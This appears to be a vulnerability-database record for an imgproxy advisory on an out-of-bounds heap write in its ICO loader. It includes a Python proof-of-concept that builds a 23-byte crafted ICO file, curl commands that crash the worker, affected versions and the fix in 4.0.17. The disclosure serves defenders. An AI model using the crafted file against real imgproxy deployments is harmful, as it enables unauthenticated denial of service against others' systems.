{"id":"GHSA-494m-4556-wf5p","kind":"vulnerability","aliases":["GHSA-494m-4556-wf5p"],"related":[],"title":"imgproxy has out-of-bounds heap read/write in ICO loader BMP header reconstruction that allows unauthenticated remote worker crash","description":"### Summary\n\nOut-of-bounds heap write in imgproxy's ICO loader (`vips/icoload.c`): when the ICO entry's image data buffer is small, the loader's BMP-header-reconstruction writes land past the allocation, corrupting the size field of the following heap chunk. The worker then aborts deterministically (glibc `munmap_chunk(): invalid pointer` → SIGABRT → Go panic, exit code 2). \n\n### Details\n\nIn `vips_foreign_load_ico_header` in `vips/icoload.c`, after the ICO entry's image data is read into a heap buffer of `data_size + 14` bytes, the loader reconstructs a BMP file header in front of it using fields read from the ICO's internal BITMAPINFOHEADER:\n\n```\nuint32_t num_colors = GUINT32_FROM_LE(*(uint32_t *) (actual_data + 32));  // unvalidated\nuint16_t bpp        = GUINT16_FROM_LE(*(uint16_t *) (actual_data + 14));  // unvalidated\n```\n\n```\nif ((num_colors == 0) && (bpp <= 8))\n  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * (1 << bpp);\nelse\n  pix_offset = BMP_FILE_HEADER_LEN + BMP_BITMAP_INFO_HEADER_LEN + 4 * num_colors;\n```\n\n```\nint32_t height = GINT32_FROM_LE(*(int32_t *) (actual_data + 8));  // readable past the buffer\nheight = height / 2;\n```\n\nWith a crafted entry declaring a tiny `data_size` (e.g. 1 byte), all of these reads (offsets +8, +14, +32) go past the allocation, and the reconstructed-header writes land past the end of the buffer — specifically a 32-bit `height/2`-derived value at `alloc+22..+25`, overwriting the LSBs of the size field of the physically following heap chunk. The corrupted size is always `original_size >> 1` and, in cgo thread arenas, the `NON_MAIN_ARENA` bit lands in the `IS_MMAPPED` position of the corrupted word such that the next `free()` of the victim deterministically takes glibc's `munmap_chunk()` abort path, killing the worker. Depending on heap state, the worker returns 500 for the triggering request and aborts on the corrupted chunk's free; in observed production geometry it dies on the same request (exit code 2).\n\n\n### PoC\n\n```py\n# make_ico_oob.py — generates the exact 23-byte OOB-write trigger.\n# Byte-identical to the checksummed, production-verified file:\n#   ico-oob.ico  sha256 075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1\nimport struct, hashlib\n\nhdr = struct.pack('<HHH', 0, 1, 1)  # reserved, type=ICO, count=1\n# 16x16, 0 colors, 0 reserved, 1 plane, 32 bpp, data_size=1, data_offset=0x16.\n# The tiny data_size (1) makes the loader's BMPINFOHEADER field reads\n# (data+8/+14/+32) and header-reconstruction writes go past the 1+14=15-byte\n# allocation.\nentry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 1, 0x16)\ndata = b'\\xAA'  # the single declared image byte\nblob = hdr + entry + data\nassert hashlib.sha256(blob).hexdigest() == \\\n    '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1'\nopen('ico-oob.ico', 'wb').write(blob)\nprint(f\"ico-oob.ico: {len(blob)} bytes [VERIFIED]\")\n```\n\n```\n# imgproxy v4.0.15 with local file sources enabled:\n#   IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-oob.ico@png\"\n# → request fails at transport level (connection reset / empty reply) or\n#   HTTP 500; worker dies: munmap_chunk(): invalid pointer → SIGABRT →\n#   Go panic dump → exit code 2. One request, one dead worker.\n\ncurl \"http://127.0.0.1:8080/insecure/plain/local:///path/to/normal.ico@png\"\n# → HTTP 200, valid thumbnail (control)\n```\n\n### Impact\n\nOut-of-bounds write; demonstrated impact is denial of service (worker crash per crafted request). Any imgproxy deployment from the 3.3.x ICO-support series through v4.0.15 (latest at time of report) that processes attacker-supplied images.","summary":"imgproxy's ICO image loader writes past a small heap buffer when it rebuilds a BMP header from an attacker-supplied file, corrupting heap metadata. A single crafted ICO request makes the worker abort, which denies service to the instance.","severity":"high","cvss":7.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/imgproxy/imgproxy/v3","fixed":["4.0.17"],"affected":">= 3.3.0, < 4.0.17","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-125","cwe-787","go","image-processing","imgproxy","package","self-hosted"],"not_affected_if":["default-config","trusted-sources-only"],"how_to_check":"- Check the imgproxy version in use with `imgproxy` startup logs or the deployed image tag, and see whether it falls in `>= 3.3.0, < 4.0.17`.\n- Check whether `IMGPROXY_ENABLE_LOCAL_FILES` is set to true, since the public PoC uses local file sources.\n- Confirm whether the instance fetches remote images that can be ICO files.","fix":"- imgproxy: `4.0.17`\n- Affected range per the advisory: `>= 3.3.0, < 4.0.17`","status":"open","published_at":"2026-10-30T22:56:14+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","triaged_at":"2026-10-30T22:58:39+00:00","updated_at":"2026-10-30T22:58:40+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-30T22:58:39Z","model":"claude-haiku-5-5","output":{"fix":"- imgproxy: `4.0.17`\n- Affected range per the advisory: `>= 3.3.0, < 4.0.17`","reach":"internet","title":"imgproxy: crafted ICO image crashes the image worker via heap write","impact":"medium","summary":"imgproxy's ICO image loader writes past a small heap buffer when it rebuilds a BMP header from an attacker-supplied file, corrupting heap metadata. A single crafted ICO request makes the worker abort, which denies service to the instance.","audience":"businesses","category":"package","nicknames":[],"who_cares":["imgproxy","go","self-hosted","image-processing"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"unauthenticated request crashes the worker process, repeatable denial of service","analyst_note":"","how_to_check":"- Check the imgproxy version in use with `imgproxy` startup logs or the deployed image tag, and see whether it falls in `>= 3.3.0, < 4.0.17`.\n- Check whether `IMGPROXY_ENABLE_LOCAL_FILES` is set to true, since the public PoC uses local file sources.\n- Confirm whether the instance fetches remote images that can be ICO files.","plain_action":"","needs_analyst":false,"not_affected_if":["default-config","trusted-sources-only"],"who_is_affected":"Any imgproxy deployment in the 3.3.x ICO-support series through 4.0.15 that processes attacker-supplied images is exposed, because the crash is triggered by the image content alone. Deployments that only process trusted images or that do not accept ICO inputs have a much smaller exposure, but the sources do not say how an ICO input is restricted by default.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"high"},"cost_usd":0.000908,"input_tokens":5893,"output_tokens":637,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'+14':291C,482C,493C '+22':319C '+25':320C '+32':292C,483C '+8':290C,481C '-125':35B '-787':37B '/imgproxy/imgproxy/v3':33A '/path/to/ico-oob.ico':557C '/path/to/normal.ico':592C '0':223C,445C,454C,456C,502C,503C '075f3b5e97242573d32a1b7612672a438b3b24c8fa718e3967305bd65e6151e1':438C,524C '0x16':467C,507C '1':238C,283C,341C,446C,447C,452C,458C,464C,472C,492C,504C,506C '127.0.0.1':555C,590C '14':173C,218C '15':494C '16':500C,501C '16x16':453C '2':147C,272C,413C,583C '200':595C '23':420C '3.3':621C '32':206C,312C,460C,505C '4':237C,252C '4556':24A,29A '494m':23A,28A '500':388C,570C '8':225C,265C '8080/insecure/plain/local':556C,591C 'abort':81B,135C,376C,394C 'actual':204C,216C,263C 'alloc':122C,296C,318C,496C 'allow':16A 'alway':338C 'arena':346C,350C 'assert':520C 'attack':67B,637C 'attacker-suppli':66B,636C 'b':509C 'bbbbhhii':499C 'bit':313C,351C 'bitmap':233C,248C 'bitmapinfohead':194C 'blob':516C,522C,529C,534C 'bmp':12A,62B,115C,179C,228C,232C,243C,247C 'bmp-header-reconstruct':114C 'bmpinfohead':477C 'bound':6A,92C,603C 'bpp':210C,224C,239C,461C 'buffer':57B,108C,169C,269C,309C 'byte':174C,284C,421C,427C,495C,515C,535C 'byte-ident':426C 'cgo':344C 'checksum':431C 'chunk':131C,139C,333C,375C,398C,574C 'code':146C,412C,582C 'color':198C,222C,254C,455C 'connect':564C 'control':598C 'corrupt':70B,123C,335C,360C,397C 'count':451C 'craft':75B,275C,614C 'crash':20A,612C 'curl':554C,589C 'cwe':34B,36B 'data':107C,163C,171C,205C,217C,264C,280C,462C,465C,470C,480C,508C,519C 'dead':587C 'declar':277C,513C 'demonstr':605C 'deni':83B 'denial':608C 'depend':381C 'deploy':618C 'deriv':315C 'detail':148C 'determinist':136C,370C 'die':406C,572C 'dump':580C 'e.g':282C 'els':240C 'empti':566C 'enabl':543C,545C 'end':306C 'entri':104C,160C,276C,497C,518C 'exact':419C 'exit':145C,411C,581C 'f':531C 'fail':560C 'field':126C,187C,327C,478C 'file':69B,180C,229C,244C,435C,541C,547C 'filesystem':551C 'follow':129C,331C 'foreign':151C 'free':366C,400C 'front':183C 'generat':417C 'geometri':404C 'ghsa':22A,27A 'ghsa-494m':21A,26A 'gint32':258C 'github.com':32A 'github.com/imgproxy/imgproxy/v3':31A 'glibc':137C,372C 'go':38B,143C,293C,489C,578C 'guint16':211C 'guint32':199C 'hashlib':441C 'hashlib.sha256':521C 'hdr':442C,517C 'header':13A,63B,116C,154C,181C,230C,235C,245C,250C,301C,486C 'header-reconstruct':485C 'heap':7A,56B,71B,93C,130C,168C,332C,383C 'height':257C,270C,271C 'height/2':314C 'hexdigest':523C 'hhh':444C 'host':46B 'http':569C,594C 'ico':10A,49B,76B,98C,103C,153C,159C,191C,450C,624C 'ico-oob.ico':436C,526C,532C 'ico-support':623C 'ident':428C 'imag':40B,50B,106C,162C,514C,639C 'image-process':39B 'imgproxi':1A,42B,47B,96C,537C,544C,549C,553C,617C 'impact':599C,606C 'import':439C 'info':234C,249C 'instanc':87B 'int32':255C,261C 'intern':193C 'invalid':140C,575C 'kill':378C 'land':119C,303C,352C 'latest':629C 'le':201C,213C,260C 'len':231C,236C,246C,251C,533C 'level':563C 'load':152C 'loader':11A,51B,99C,112C,176C,475C 'local':540C,546C,550C 'lsbs':323C 'main':349C 'make':78B,473C 'make_ico_oob.py':416C 'metadata':72B 'mmap':356C 'munmap':138C,374C,573C 'next':365C 'non':348C 'num':197C,221C,253C 'observ':402C 'offset':227C,242C,289C,466C 'one':584C,586C 'oob':423C 'oob-writ':422C 'open':525C 'origin':339C 'out-of-bound':3A,89C,600C 'overwrit':321C 'packag':43B 'panic':144C,579C 'past':53B,120C,267C,294C,304C,490C 'path':377C 'per':613C 'physic':330C 'pix':226C,241C 'plane':459C 'png':558C,593C 'poc':414C 'pointer':141C,576C 'posit':357C 'print':530C 'process':41B,635C 'product':403C,433C 'production-verifi':432C 'py':415C 'read':165C,188C,288C,479C 'read/write':8A 'readabl':266C 'rebuild':60B 'reconstruct':14A,117C,177C,300C,487C 'reconstructed-head':299C 'remot':18A 'repli':567C 'report':633C 'request':77B,392C,410C,559C,585C,615C 'reserv':448C,457C 'reset':565C 'return':387C 'root':552C 'self':45B 'self-host':44B 'seri':626C 'servic':84B,610C 'sha256':437C 'sigabrt':142C,577C 'singl':74B,512C 'size':125C,172C,281C,326C,336C,340C,463C,471C 'small':55B,110C 'sourc':542C 'specif':310C 'state':384C 'struct':440C 'struct.pack':443C,498C 'summari':88C 'suppli':68B,638C 'support':625C 'take':371C 'thread':345C 'thumbnail':597C 'time':631C 'tini':279C,469C 'transport':562C 'trigger':391C,425C 'true':548C 'type':449C 'uint16':208C,214C 'uint32':195C,202C 'unauthent':17A 'unvalid':207C,219C 'use':186C 'v4.0.15':538C,628C 'valid':596C 'valu':316C 'verifi':434C,536C 'victim':369C 'vip':150C 'vips/icoload.c':100C,156C 'wb':527C 'wf5p':25A,30A 'word':361C 'worker':19A,80B,133C,380C,386C,571C,588C,611C 'write':52B,94C,118C,302C,424C,488C,528C,604C 'x':622C 'xaa':510C","nicknames":[],"mitigations":[],"who_affected":"Any imgproxy deployment in the 3.3.x ICO-support series through 4.0.15 that processes attacker-supplied images is exposed, because the crash is triggered by the image content alone. Deployments that only process trusted images or that do not accept ICO inputs have a much smaller exposure, but the sources do not say how an ICO input is restricted by default.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"first_public_at":"2026-10-30T22:56:14+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-494m-4556-wf5p","url":"https://github.com/advisories/GHSA-494m-4556-wf5p","severity":"high","published_at":"2026-10-30T22:56:14+00:00","modified_at":"2026-10-30T22:56:17+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","fetched_at":"2026-10-30T23:02:03+00:00","note":null}],"documents":[{"id":26513,"url":"https://api.github.com/repos/imgproxy/imgproxy/security-advisories/GHSA-494m-4556-wf5p","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":26514,"url":"https://github.com/imgproxy/imgproxy/security/advisories/GHSA-494m-4556-wf5p","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":26515,"url":"https://github.com/imgproxy/imgproxy/pull/1726","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":26516,"url":"https://github.com/imgproxy/imgproxy/commit/39fd9e844a8a46084161502e993d5a3c16ccf28d","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":26517,"url":"https://github.com/imgproxy/imgproxy/releases/tag/v4.0.17","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}